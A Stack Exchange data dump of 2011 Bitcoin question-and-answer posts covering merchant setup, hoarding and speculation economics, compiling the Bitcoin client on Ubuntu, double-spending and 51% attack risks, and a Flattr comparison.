  <row Id="411" PostTypeId="2" ParentId="403" CreationDate="2011-09-02T01:15:10.337" Score="4" Body="&lt;p&gt;AFAIK there are no publicly available out of the box solutions for setting up a store that uses Bitcoin. Although; there are many viable solutions using Bit-pay, their system integrates well with most platforms. If there is a platform you want to use their system for, their sales team can surely help you do that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have no affiliation to &lt;a href=&quot;https://bit-pay.com/&quot; rel=&quot;nofollow&quot;&gt;Bit-pay&lt;/a&gt; but spoke with one of their founders in length at the Bitcoin conference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would recommend looking into setting up a wordpress site (hosted, not wordpress.com), using &lt;a href=&quot;http://www.ecwid.com/&quot; rel=&quot;nofollow&quot;&gt;ecwid shopping cart&lt;/a&gt;, and asking bit-pay to integrate the store into ecwid for you. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This setup is a 99% one size fits all, and you would be pioneering the way for others to follow. Bit-Pay may have an alternative solution, but I have developed several online stores (10+) for clients - and use wordpress/ecwid for both of my personal stores (after trying many others).&lt;/p&gt;&#xA;" OwnerUserId="27" LastActivityDate="2011-09-02T01:15:10.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="412" PostTypeId="2" ParentId="408" CreationDate="2011-09-02T01:41:29.363" Score="8" Body="&lt;p&gt;This is very similar to consumer spending here in the US. If people save their money, it's not going towards the growth of the economy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think a lot of people make this comparison when it doesn't necessarily hold true for Bitcoin at the moment. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My opinion is that if miners held onto their coins instead of dumping them on the exchange, it would reduce the volatility we're seeing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So spending Bitcoins is best, holding them is OK, and trading for other currencies is selfish.&lt;/p&gt;&#xA;" OwnerUserId="27" LastActivityDate="2011-09-02T01:41:29.363" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="413" PostTypeId="2" ParentId="304" CreationDate="2011-09-02T01:49:33.223" Score="1" Body="&lt;p&gt;Check out &lt;a href=&quot;http://www.btcans.org/&quot; rel=&quot;nofollow&quot;&gt;btcans.org&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The BTCANS allows you to register an account and post associate a payment address with it. You can hand out your payment BTCANS address and other users can query your payment address by entering q.btcans.org/your-id-here into their browser. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The difference between btcans.org and an address shortener is that you can change your address at any time.  Subsequent queries will return the updated payment address.&lt;/p&gt;&#xA;" OwnerUserId="16" LastActivityDate="2011-09-02T01:49:33.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="414" PostTypeId="2" ParentId="408" CreationDate="2011-09-02T02:05:28.933" Score="98" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;TL;DR&lt;/strong&gt;: No. The argument is basically that hoarding will make Bitcoins so valuable that nobody will be willing to offer people enough to part with them. Does that pass the giggle test? Another way of stating the argument is this, &quot;If gold is $2,000/oz today but people think it will be $5,000/oz next year, nobody will trade any gold today.&quot; Again, think about it. Does that pass the giggle test either?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Hoarding increases the value of Bitcoins, increasing the profits from mining. This encourages more people to mine, increasing the total hashing power and thus the security of the system. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It also makes holding Bitcoins more profitable. This helps to encourage people to accept them in trade because they are less worried about them decreasing in value while they are holding them. Using Bitcoins as a currency inevitably means people sometimes have to hold them and having them drop in value while you hold them is a risk. Hoarding reduces this risk. But it also makes it harder to price things in Bitcoins because the value will tend to change more. Merchants don't like to change their prices twice a day.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Contrary to claims, it should not affect the trading volume or the willingness of people to use Bitcoins to pay for things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The argument that increasing value means people would prefer to hold Bitcoins rather than spend them is specious. While it will make people want to have Bitcoins more, it will also make people want to convince others to give them Bitcoins more so they can have them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Think about it, do people prefer to pay for goods in dollars or garbage? By the reasoning of this argument, they should prefer to pay for goods in garbage, since they'd rather hold their dollars and get rid of their garbage. But, of course, people don't like paying in garbage because nobody &lt;em&gt;wants&lt;/em&gt; garbage. If you can pay with the currency others want, you can get a better deal. So you actually prefer to spend the currencies sellers most &lt;em&gt;want&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If Bitcoins are valuable because inflation doesn't deprive them of value, then a merchant would rather get my Bitcoins than my dollars, so he'll accept fewer of them. This will cancel out the effect of me preferring to pay in dollars rather than Bitcoins. So it should be a wash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, put another way, whatever the present and future prospects, there should always be some equivalence between dollars and Bitcoins that people roughly agree on. So whether I pay X dollars or Y bitcoins, where X and Y are in this ratio, will purely depend on whether I prefer the characteristics of dollars or Bitcoins for the transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A consequence of this is that hoarding won't negatively affect the trading volume either because that's only dependent on people's use of Bitcoins to buy and sell things. If hoarding makes Bitcoins worth twice as much, only half as many will be used to buy and sell things and the volume (the total value traded) will be the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't believe it's lost opportunity either. It's not like people who want to trade Bitcoins can't get them because they're all being hoarded. (Nor will it ever be likely to be an issue, since that would just raise the price and thus fewer would be needed. Bitcoins have effectively unlimited divisibility.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So why do so many people think currency hoarding is bad? Because it &lt;em&gt;usually&lt;/em&gt; is, and empiric studies even show that it is. But the logic of why currency hoarding is bad doesn't apply to Bitcoins, especially when it's a minority currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoins are different enough from physical fiat currencies that empirical studies don't apply unless the suspected mechanisms for the observed effects are believed to apply to Bitcoins too. For example, if a penny were enough money to buy a car, how useful would dollars be?&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2013-01-26T17:27:32.100" LastActivityDate="2013-01-26T17:27:32.100" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="415" PostTypeId="2" ParentId="405" CreationDate="2011-09-02T02:25:29.417" Score="10" Body="&lt;p&gt;&lt;strong&gt;Volatility&lt;/strong&gt;: The price of Bitcoins is fairly unpredictable. A speculator is basically trying to predict the future price of Bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Security&lt;/strong&gt;: A speculator generally has to trust his Bitcoins and currencies to an exchange, at least some of the time. That exchange could disappear or claim he transferred out his Bitcoins. When his Bitcoins are not in an exchange he has to store them in a wallet which is vulnerable to compromise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Technology&lt;/strong&gt;: Bitcoins could become obsolete overnight if some new, superior crypto-currency came out. This could start as a sharp drop faster than a speculator can react. He would then have to either take a big loss or risk a total loss.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Unknown Defect&lt;/strong&gt;: There has already been one case where a software defect in the client forced the unwinding of many transactions. What other problems might pop up one day and negatively impact the speculator either directly (by causing him to lose Bitcoins) or indirectly (by causing his coins to lose value)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Known Defect&lt;/strong&gt;: A 51% attack, double-spend attack, or similar problem could cause the Bitcoin system to become unstable or could impact the speculator's transactions directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Legal&lt;/strong&gt;: The legal status of Bitcoin trades and the tax implications are in many cases unknown and in all cases subject to change, particularly if Bitcoins become popular.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Physical&lt;/strong&gt;: Since Bitcoins can be easily moved halfway around the world and are untraceable, if someone knows you hold a lot of Bitcoins, he could kidnap/rob you and physically compel you to transfer your entire stash of Bitcoins to him. This is much less traceable than currencies, and you may have a very hard time getting police to take you seriously. (You couldn't even prove that you had lost the coins as opposed to having transferred them to another wallet you control.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Mistake&lt;/strong&gt;: A speculator could make a typing mistake, especially while making a large number of transactions of different kinds, that results in a loss. A price or quantity could be entered incorrectly or someone else's Bitcoin address could be given as a destination for a withdrawal.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2011-09-02T07:12:54.657" LastActivityDate="2011-09-02T07:12:54.657" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="416" PostTypeId="1" AcceptedAnswerId="417" CreationDate="2011-09-02T05:23:06.240" Score="11" ViewCount="5869" Body="&lt;p&gt;I am running an Ubuntu Virtualbox, how do I build Bitcoin from source and run it in this environment?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/doc/build-unix.txt#LNaN&quot;&gt;build notes&lt;/a&gt; from the bitcoin core github and I get the following errors when trying to do &lt;code&gt;make -f makefile.unix bitcoind&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;net.cpp:48:15: error: 'pnodeLocalHost' was declared 'extern' and later 'static'&#xA;net.h:476:15: error: previous declaration of 'pnodeLocalHost'&#xA;net.cpp:51:15: error: 'hListenSocket' was declared 'extern' and later 'static'&#xA;net.h:479:15: error: previous declaration of 'hListenSocket'&#xA;make: *** [obj/nogui/net.o] Error 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any recommendation for how to fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried commenting out those lines of code in net.h and now I'm getting:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;db.cpp:534: undefined reference to 'AddAddress(CAddress, long long)'&#xA;net.cpp:1363: undefined reference to 'AddAddress(CAddress, long long)'&#xA;main.cpp:1914: undefined reference to 'AddAddress(CAddress, long long)'&#xA;init.cpp:493:  undefined reference to 'AddAddress(CAddress, long long)'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;could this be an issue with the libraries I've installed? I followed the doc pretty much verbatim.&lt;/p&gt;&#xA;" OwnerUserId="27" LastEditorUserId="27" LastEditDate="2011-09-02T13:20:11.827" LastActivityDate="2014-02-19T05:41:14.927" Title="How do I build Bitcoin from source in Linux?" Tags="|ubuntu|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="417" PostTypeId="2" ParentId="416" CreationDate="2011-09-02T07:21:24.937" Score="8" Body="&lt;p&gt;Basically, you do this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Download the distribution tarball or repository. You can use the link on the project's &lt;a href=&quot;https://github.com/bitcoin/bitcoin&quot; rel=&quot;nofollow&quot;&gt;GitHub&lt;/a&gt; page.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you used the distribution tarball, unpack it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Obtain any needed prerequisites. Things you may need include the development packages or source builds of: OpenSSL, Boost, libZ, GLib2, and BerkeleyDB. You should be able to use your distribution's development packages for everything with the possible exception of OpenSSL. I don't know offhand if Ubuntu ships a version that will work with the Bitcoin client (including ECDSA support). If not, rebuild OpenSSL from the source with default options.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Make a copy of the supplied UNIX makefile (called &lt;code&gt;makefile.unix&lt;/code&gt;) and call it &lt;code&gt;Makefile&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Adjust the &lt;code&gt;Makefile&lt;/code&gt; you created as needed. You may need to: Add include/library paths for the prerequisites if they're not in the usual places. Localize the name of the BerkeleyDB distribution, for example 'db_cxx-5.1' instead of 'db_cxx'. Localize the name of some Boost libraries (on some distributions, most will need '-mt' added to the end).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Type 'make' and hope for the best.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If it didn't work, figure out why and fix it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;One caution: If two builds of the Bitcoin client are linked against different versions of the BerkeleyDB package, they may not be able to read each other's database files (including the &lt;code&gt;wallet.dat&lt;/code&gt; file). There is a process to convert the files (dump to text on one version, build from text on another) but it's cumbersome and perilous.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;: To your two specific issues, the fix is to remove (or comment out) lines 476 and 479 in the &lt;code&gt;net.h&lt;/code&gt; file, the &lt;code&gt;extern&lt;/code&gt; declarations of &lt;code&gt;pnodeLocalHost&lt;/code&gt; and &lt;code&gt;hListenSocket&lt;/code&gt;. (Be careful, when you remove one, the line number of the other may change. Identify both changes before you make either.)&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2011-09-02T09:31:54.413" LastActivityDate="2011-09-02T09:31:54.413" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="419" PostTypeId="1" AcceptedAnswerId="427" CreationDate="2011-09-02T08:13:29.347" Score="13" ViewCount="4360" Body="&lt;p&gt;There have been claims that Bitcoin price and difficulty correspond. Is there empirical data to support or refute this?&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="78" LastEditDate="2011-09-02T08:39:54.607" LastActivityDate="2012-07-10T22:23:41.380" Title="Is there empirical data about a relationship between bitcoin price and difficulty?" Tags="|exchange-rate|difficulty|" AnswerCount="4" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="421" PostTypeId="1" AcceptedAnswerId="422" CreationDate="2011-09-02T08:36:46.850" Score="21" ViewCount="1124" Body="&lt;p&gt;Although Bitcoin does its best to prevent double-spending, could it still happen in practice?  Is it just &lt;em&gt;very unlikely&lt;/em&gt; that fraud could happen, or is there a mathematical proof that it could never happen?&lt;/p&gt;&#xA;" OwnerUserId="67" LastEditorUserId="50" LastEditDate="2011-09-02T09:56:00.033" LastActivityDate="2012-11-13T21:48:46.230" Title="Are there any fundamental security vulnerabilities in Bitcoin?" Tags="|security|fraud|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="422" PostTypeId="2" ParentId="421" CreationDate="2011-09-02T09:04:24.817" Score="18" Body="&lt;p&gt;As David Schwartz said in &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/367/have-any-crypotography-experts-vetted-the-bitcoin-source-code&quot;&gt;367&lt;/a&gt;; Dan Kaminsky has spent some time auditing the Bitcoin core . He is a respected security professional, and his opinion on these matters is highly regarded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;He came to the conclusion that there weren't any concerning security vulnerabilities, but scalability is something that will have to be tackled as the project grows. Essentially; nothing the developers didn't already know about.&lt;/p&gt;&#xA;" OwnerUserId="27" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2011-09-02T10:02:49.540" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="423" PostTypeId="1" AcceptedAnswerId="434" CreationDate="2011-09-02T09:15:13.853" Score="19" ViewCount="1160" Body="&lt;p&gt;I realise that the underlying technologies for Bitcoin and flattr are different, but do they serve the same purpose?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example: if I set up a webapp that uses micropayments for revenue (like github - being able to buy private repositories) would it make more sense to use flattr or Bitcoin? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would I use them in concert - Bitcoin for micropayments, flattr for &quot;charity&quot; like payments for people who just want to support the site, but don't need extra functionality?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does Bitcoin have a clear advantage over flattr for certain situations and clear disadvantages in others?&lt;/p&gt;&#xA;" OwnerUserId="142" LastEditorUserId="5406" LastEditDate="2014-05-02T17:50:09.533" LastActivityDate="2017-10-14T08:47:12.400" Title="Does flattr complement or compete with bitcoin?" Tags="|alternatives|" AnswerCount="6" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="424" PostTypeId="2" ParentId="423" CreationDate="2011-09-02T09:24:47.123" Score="13" Body="&lt;p&gt;Flattr is a social micropayments system. Bitcoin is a currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no reason the two could not be integrated together, pay with bitcoins and then share the bitcoins out using the same method as flattr.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact, I would go as far as saying this would be an excellent idea due to lack of transaction fees and friction for small amounts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Flattr is the service, Bitcoin is the currency. They don't compete; they could certainly complement each other though, in my opinion.&lt;/p&gt;&#xA;" OwnerUserId="33" LastEditorUserId="42185" LastEditDate="2017-10-14T08:47:12.400" LastActivityDate="2017-10-14T08:47:12.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="425" PostTypeId="2" ParentId="421" CreationDate="2011-09-02T09:41:17.143" Score="5" Body="&lt;p&gt;The only known fundamental vulnerabilities are double-spending and 51% attacks, which are closely related. It doesn't seem likely that there are any significant unknown fundamental vulnerabilities, though of course there could be exploitable bugs in the client. (The underlying algorithms will get weaker over time, but that's not a problem.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Double-spending can definitely happen. If someone controlled 51% of the network's hashing power, they could double spend at will. How much you actually have to worry about that is a tough question though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A deeper question is whether these problems are truly fundamental or whether they could be worked around without changing the fundamentals of Bitcoin. To my knowledge, these are open research questions. Proposals have been made to reduce the impact of the 51% attack, but they introduce their own vulnerabilities that while harder to exploit have even more disastrous consequences (such as network states that are inconsistent, persistent, and require manual intervention -- and perhaps a de facto central authority -- to resolve). You can argue that with some of these suggestions, it's not Bitcoin anymore.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-09-02T09:41:17.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="426" PostTypeId="2" ParentId="423" CreationDate="2011-09-02T09:58:09.667" Score="4" Body="&lt;p&gt;The two use different systems of currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Flattr is simply an easier way of offering micropayments &lt;em&gt;in the traditional currencies&lt;/em&gt;, whereas Bitcoin is a more revolutionary attempt to create a whole new currency.  Because of this, I'd say it neither complements nor competes with Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It could &lt;em&gt;help&lt;/em&gt; Bitcoin if it decided to start accepting payments in Bitcoins.&lt;/p&gt;&#xA;" OwnerUserId="67" LastActivityDate="2011-09-02T09:58:09.667" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="427" PostTypeId="2" ParentId="419" CreationDate="2011-09-02T10:01:18.463" Score="12" Body="&lt;p&gt;If you look at the &lt;a href=&quot;http://bitcoin.sipa.be/&quot;&gt;network hash rate&lt;/a&gt;, you'll notice that it fell off after the &lt;a href=&quot;http://bitcoinity.org/markets?theme=light&quot;&gt;Bitcoin exchange rate&lt;/a&gt; dropped.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This leads to the conclusion that price drives difficulty. A drop in price caused a drop in difficulty. I have noticed this same correlation on another occasion; about two months ago.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, the reverse is probably true. When the price soared to $30+; the network hash rate accelerated greatly. The higher prices clearly attracted miners.&lt;/p&gt;&#xA;" OwnerUserId="27" LastActivityDate="2011-09-02T10:01:18.463" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="428" PostTypeId="1" AcceptedAnswerId="430" CreationDate="2011-09-02T10:02:03.743" Score="-3" ViewCount="1603" Body="&lt;p&gt;Is it worth converting 'normal' currency into Bitcoins with the hope of making a profit later, by converting the Bitcoins back into 'normal' currency?  In other words, could it be seen in a similar way to investing on the stock market?  You take a risk, but potentially you could profit if the value of Bitcoins increases with respect to (say) the US Dollar?  And, if so, are there people already doing this kind of speculation?&lt;/p&gt;&#xA;" OwnerUserId="67" LastEditorUserId="5406" LastEditDate="2016-01-20T21:18:24.527" LastActivityDate="2016-01-20T21:18:24.527" Title="If I convert my US Dollars to Bitcoins, will its value likely depreciate?" Tags="|exchanges|trading|exchange-rate|" AnswerCount="4" CommentCount="2" ClosedDate="2011-09-02T20:38:28.513" ContentLicense="CC BY-SA 3.0" />
  <row Id="429" PostTypeId="2" ParentId="428" CreationDate="2011-09-02T10:25:16.167" Score="2" Body="&lt;p&gt;A great deal of people are &lt;a href=&quot;https://bitcointalk.org/index.php?board=57.0&quot; rel=&quot;nofollow&quot;&gt;speculating on Bitcoin&lt;/a&gt;. The people who did this early in the Bitcoin game (&lt;a href=&quot;http://bitcoincharts.com/charts/mtgoxUSD#rg360zvztgSzm1g10zm2g25&quot; rel=&quot;nofollow&quot;&gt;a few months ago&lt;/a&gt;) have likely made vast amounts of money.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ultimately it is a gamble. General consensus holds that as Bitcoin is more widely adopted and spent on goods / services; the exchange rate will rise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Operating a store that accepts Bitcoins, and/or spending Bitcoins will help that exchange rate go up.&lt;/p&gt;&#xA;" OwnerUserId="27" LastActivityDate="2011-09-02T10:25:16.167" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="430" PostTypeId="2" ParentId="428" CreationDate="2011-09-02T10:41:13.643" Score="4" Body="&lt;p&gt;There are certainly people doing it. Anyone who holds Bitcoins who isn't moving them around is speculating in this sense. And even if you move Bitcoins around, if you don't move them sooner, you're speculating at least a bit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for whether it makes sense, that's a tricky question. There's always a risk Bitcoins could take a nose dive in value and never recover, say because they were made obsolete by a superior crypto-currency or impractical through governmental action.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my personal opinion, it's a pretty good risk for money you can afford to lose. (Higher than average risk, but much higher than average possible rate of return.) But you may have to make some tough decisions when the price drops: Do I sell now, take a small loss but at least cut my losses? Or do I risk losing everything if the price never goes up? And if I do sell, and then price starts going up, when do I buy? What if I buy and then it nosedives&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/405/what-are-some-of-the-risks-of-speculating-on-bitcoin-value&quot;&gt;What are some of the risks of speculating on Bitcoin value?&lt;/a&gt; for a discussion of some of the risks involved. It's a bit more focused on active trading than just holding, but there's a lot of overlap.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2011-09-02T10:41:13.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="431" PostTypeId="2" ParentId="428" CreationDate="2011-09-02T11:38:34.080" Score="1" Body="&lt;p&gt;Yes, it could be seen in a similar way as investing in the &lt;a href=&quot;http://en.wikipedia.org/wiki/Foreign_exchange_market&quot; rel=&quot;nofollow&quot;&gt;Forex market&lt;/a&gt;. And like the Forex market, you can't predict with a high degree of confidence what the price will be in the future. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;People are certainly doing this kind of speculation already - take a look at the speculation section of the &lt;a href=&quot;https://bitcointalk.org/index.php?board=57.0&quot; rel=&quot;nofollow&quot;&gt;bitcointalk forum&lt;/a&gt;. There are also some charting tools to predict trends such as &lt;a href=&quot;http://bitcointalk.org/?topic=6019&quot; rel=&quot;nofollow&quot;&gt;SierraChart&lt;/a&gt;, &lt;a href=&quot;https://bitcointalk.org/index.php?topic=33844.0&quot; rel=&quot;nofollow&quot;&gt;BTC Trader&lt;/a&gt; or simply &lt;a href=&quot;http://bitcoincharts.com/charts/mtgoxUSD#rg60zvztgSzm1g10zm2g25&quot; rel=&quot;nofollow&quot;&gt;Bitcoincharts&lt;/a&gt;. One bitcointalk user (&lt;a href=&quot;https://bitcointalk.org/index.php?action=profile;u=1488&quot; rel=&quot;nofollow&quot;&gt;S3053&lt;/a&gt;) is even selling weekly in-depth &lt;a href=&quot;http://www.bitcoinbullbear.com/&quot; rel=&quot;nofollow&quot;&gt;technical analysis of bitcoin prices&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally, I also think Bitcoins are a high risk investment right now. There are too many uncertainties about its adoption as a currency. You can find many questions here at stack exchange about its weaknesses and undefined legal status and there are many more news across the web. All these factors can influence bitcoins price both short-term and long term.&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2011-09-02T11:38:34.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="432" PostTypeId="2" ParentId="72" CreationDate="2011-09-02T11:46:34.610" Score="5" Body="&lt;p&gt;Simply transferring bitcoins into an exchange or large private Bitcoin service has the net effect of breaking the trail of Bitcoin addresses. If your real identity is associated with an address you can send your bitcoins to an exchange and then send them back to yourself at a new address. It will appear that you cashed in the bitcoins at your first address, because you sent them to a known currency exchange address. The Bitcoin trail of the coins after that are clearly not associated with you. As long as you don't associate your true identity with your second address, it is indistinguishable from anyone who's bought bitcoins on that exchange even if you got some of your own coins back. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it's important to note that even this would probably not thwart a dedicated legal investigation. It just makes it more difficult to jump back and forth between the money trails in different currencies. Law enforcement could get a warent to search the records of the exchange which would quickly reveal the transaction. This would work just as well for a Bitcoin laundering service. If the service didn't retain your identity and a record of the transactions then they would be guilty of money laundering laws in most countries, so those services are highly motivated to maintain accurate records. &lt;/p&gt;&#xA;" OwnerUserId="4774" LastEditorUserId="1405" LastEditDate="2014-02-19T21:48:00.893" LastActivityDate="2014-02-19T21:48:00.893" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="433" PostTypeId="2" ParentId="419" CreationDate="2011-09-02T11:51:56.283" Score="0" Body="&lt;p&gt;The purpose of the difficulty is to ensure a blockchain solution is produced roughly every ten minutes. If there is a lot of hashing power available then solutions will be found quickly which causes a correction to make it harder, or conversely to make it easier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the nub of the question is what causes variation in the hashing power? The short answer is the efficiency of solving the problem. This introduces other aspects:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Cost of efficient solution finding systems (CPUs, GPUs, FPGAs, ASICs, supercomputers, mining trojans etc)&lt;/li&gt;&#xA;&lt;li&gt;Level of altruism in the system&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Assuming that most miners are in it for the money rather than just being enthusiasts, then the primary concern is &lt;strong&gt;profit margin&lt;/strong&gt;. So long as a miner can turn a profit that exceeds other available investments then he is rational to continue mining. He then faces the problem of maximising his profit margin above the break even point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once way is to find and exploit a super-efficient way of solving the hashing problem just a little ahead of other miners then his operating costs are reduced without unduly affecting the difficulty level. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another is to reduce operating costs, perhaps by taking advantage of free electricity. He may even enjoy the side effect of heating his home during cold winter months, this reducing his operating costs further.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would mean that &lt;strong&gt;hash rate would be invariant against mild fluctuations in the price of a bitcoin&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, in short, it is individual profit margin to miners that drives the hash rate, not the naked price of a bitcoin.&lt;/p&gt;&#xA;" OwnerUserId="117" LastActivityDate="2011-09-02T11:51:56.283" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="434" PostTypeId="2" ParentId="423" CreationDate="2011-09-02T12:06:59.213" Score="8" Body="&lt;p&gt;Regarding the specific questions about your website, it is up to you to decide which payment methods to accept. If you want to accept small payments, Paypal and credit cards may not interest you because of their high fees. So both Flattr and Bitcoins can replace Paypal as an alternative for cheaper micro-payments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for advantages/disadvantages:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Flatter charges 10% of your income&lt;/li&gt;&#xA;&lt;li&gt;Bitcoins are not limited to small payments (you can accept any amount of them without fees)&lt;/li&gt;&#xA;&lt;li&gt;Bitcoin price fluctuates a lot right now - you might want to consider using &lt;a href=&quot;http://bit-pay.com/&quot;&gt;bit-pay&lt;/a&gt; if you want a steady income.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Like other answers stated, you must understand that these are different systems. One is a currency and the other is a service. They can complement each other and you don't lose anything by accepting both.&lt;/p&gt;&#xA;" OwnerUserId="5" LastEditorUserId="5" LastEditDate="2011-09-02T15:18:20.037" LastActivityDate="2011-09-02T15:18:20.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="435" PostTypeId="2" ParentId="346" CreationDate="2011-09-02T12:32:30.790" Score="2" Body="&lt;p&gt;Although limited total number of bitcoins implies that they will be deflationary in the future. Meaning they will increase in value due to limited supply. They are currently inflationary as about 7200 bitcoins are released into circulation every day. This trend will continue for some time before supply starts to slow down. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means that there is a great deal of downward pressure on the value of bitcoins (lots of supply). This could lead to the prices going down long before they go up again due to limited supply. &lt;/p&gt;&#xA;" OwnerUserId="4774" LastActivityDate="2011-09-02T12:32:30.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
